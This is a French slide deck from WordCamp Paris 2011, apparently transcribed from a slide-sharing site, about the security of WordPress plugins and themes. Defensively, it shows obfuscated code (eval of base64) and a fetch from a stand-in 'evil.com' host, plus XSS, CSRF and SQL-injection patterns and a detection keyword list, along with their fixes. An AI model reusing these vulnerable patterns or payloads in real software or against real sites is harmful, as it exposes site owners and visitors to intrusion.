17
WordPress et la Sécurité des Plugins WordPress Francophone ~ Julio Potier ~ @boiteaweb ~ WordCamp Paris 2011 ~

Wordpress et la sécurité des plugins

Embed Size (px)

DESCRIPTION

Slide de @BoiteAWeb (Julio Potier) pour la WordCamp Paris 2011, le 25 nov. 2011.http://baw.li/wcp2011

Citation preview

Page 1: Wordpress et la sécurité des plugins

WordPress etla Sécurité des Plugins

WordPressFrancophone

~ Julio Potier ~ @boiteaweb ~ WordCamp Paris 2011 ~

Page 2: Wordpress et la sécurité des plugins

1) C'est quoi un plugin et comment ça marche ? 2) Pourquoi un plugin peut contenir une vulnérabilité ? 3) Peut-on et comment détecter du code malveillant ? 4) Les différentes failles les plus répandues. 5) Sélection de plugin Sécurité pour votre site.Bonus) Sécuriser WordPress au delà des plugins.

WordPressFrancophone

Sommaire

Page 3: Wordpress et la sécurité des plugins

Un Plugin : C'est quoi ?Ensemble de fonctions qui viennent se greffer sur votre

site dans le but de l’améliorer ou d’ajouter des fonctionnalités.

Et comment ça marche ?Un plugin va utiliser ce qu’on apelle les “hooks” qui

signifie “hameçons”. Un hook est un point d’entrée dans une fonction WordPress.

WordPressFrancophone

Page 4: Wordpress et la sécurité des plugins

Pourquoi un Plugin peut contenir une vulnérabilité :

#1 Acte volontaire de nuire  #2 Le manque d'information du développeur

#3 L'indifférence du développeur

#4 Nouvelles découvertes de failles

#5 Repository WordPress piraté

WordPressFrancophone

Page 5: Wordpress et la sécurité des plugins

Peut-on et comment détecter du code

malveillant ? :Exemples de codes malveillants : eval( base64_decode( "ZWNobyAkX09QVElPTlNbJ2UnXQ==" ) );$a='http://www.';$b='evil';$c='.com/script.php';$content = file_get_contents( $a.$b.$c );$b(); // Équivaut à evil();

WordPressFrancophone

Page 6: Wordpress et la sécurité des plugins

Peut-on et comment détecter du code

malveillant ? :Exemple de code non caché :

WordPressFrancophone

echo $_GET['e']; // XSSeval( $_GET['e'] ); // RCE$wpdb->query( $_GET['e'] ); // SQLi

"eval","base64","rot13","include","require","mail","wp_mail"

Quelques mots-clés :

Page 7: Wordpress et la sécurité des plugins

Comment choisir son Plugin :# Regarder le nombre de téléchargements

# Lire le Changelog à la recherche de correctifs sécu# Trouver la date de création du plugin # Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du plugin# Lire les commentaires et avis sur les forums liés# Tester le plugin sur un site test ou en local# Le faire auditer si le doute subsiste

WordPressFrancophone

Page 8: Wordpress et la sécurité des plugins

Comment choisir son Thème :# Regarder le nombre de téléchargements

# Lire le Changelog à la recherche de correctifs sécu# Trouver la date de mise à jour du thème# Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du thème# Lire les commentaires et avis sur les forums liés# Tester le thème sur un site test ou en local# Le faire auditer si le doute subsiste

WordPressFrancophone

# Le trouver sur un site sérieux et compétent# Le faire faire par un intégrateur professionnel

Page 9: Wordpress et la sécurité des plugins

Les failles les plus répandues :XSS - Cross (X) Site Scripting

http://baw.li/dico/XSS

WordPressFrancophone

Bonjour <?= $_GET['log'] ?> !

http://target.com/?log=<script>alert("This is a XSS vuln for #WCP2011");</script>

Page 10: Wordpress et la sécurité des plugins

Les failles les plus répandues :XSS - Cross (X) Site Scripting

http://baw.li/dico/XSS

WordPressFrancophone

<input value="<?= $opts['log'] ?>" />

$opts = get_option( 'mon_plugin' );

Page 11: Wordpress et la sécurité des plugins

Les failles les plus répandues :CSRF - Cross (X) Site Request Forgery 

http://baw.li/dico/CSRF

WordPressFrancophone

<form><input name="option" value="evil" /><input type="submit" /></form>

Un token sécurité est manquant !

<input name="_wpnonce" value="j2u1l1i2op" />

Page 12: Wordpress et la sécurité des plugins

Les failles les plus répandues :SQLi - Simple Query Language Injection

http://baw.li/dico/sqli

WordPressFrancophone

$wpdb->query( 'SELECT user_login FROM wp_users WHERE user_login = ' . $opts['log'] );

Les requêtes doivent être préparées !

$wpdb->query( $wpdb->prepare( 'SELECT user_login FROM wp_users WHERE user_login = %s', $opts['log'] ) );

Page 13: Wordpress et la sécurité des plugins

Vidéo Démo

WordPressFrancophone

http://baw.li/1334

Page 14: Wordpress et la sécurité des plugins

Liste non exhaustive de Plugins

# AntiVirus# AskApache Password Protect# BulletProof Security# Secure WordPress et WP Security Scan# Exploit Scanner# Ultimate Security Checker# WordPress Plugin Security Checker# Chap Secure Login# Login Lock# One Time Password# User Role Editor# BackWPUp# Audit Trail# WordPress Firewall (!!!)

WordPressFrancophone

Page 15: Wordpress et la sécurité des plugins

Bonus : Sécuriser WordPress au delà des Plugins

# Faites des sauvegardes régulières.# Tenez WordPress et ses plugins et thèmes à jour.# Déplacez wp-config.php d’un cran dans votre arborescence.# Choisissez un bon mot de passe.# Modifiez le préfixe "wp_" de votre base de données.# Supprimez le compte “admin”.# Ajoutez un “Options -Indexes” dans votre .htaccess.# Installer quelques un des plugins cités précédemment.# Cacher le n° de version ? Non ...

WordPressFrancophone

Page 16: Wordpress et la sécurité des plugins

Livres

Page 17: Wordpress et la sécurité des plugins

Merci !

WordPressFrancophone

http://studio-raspail.fr

http://wordpress-fr.net

http://wp-themes-pro.com

http://screenfeed.fr

http://seomix.fr

http://geekeries.fr

@screenfeedfr

@rochdaniel

@geekeriesfr

@wordpress_fr

@wp_themes_pro

Retrouvez ce slide sur http://boiteaweb.fr/wcp2011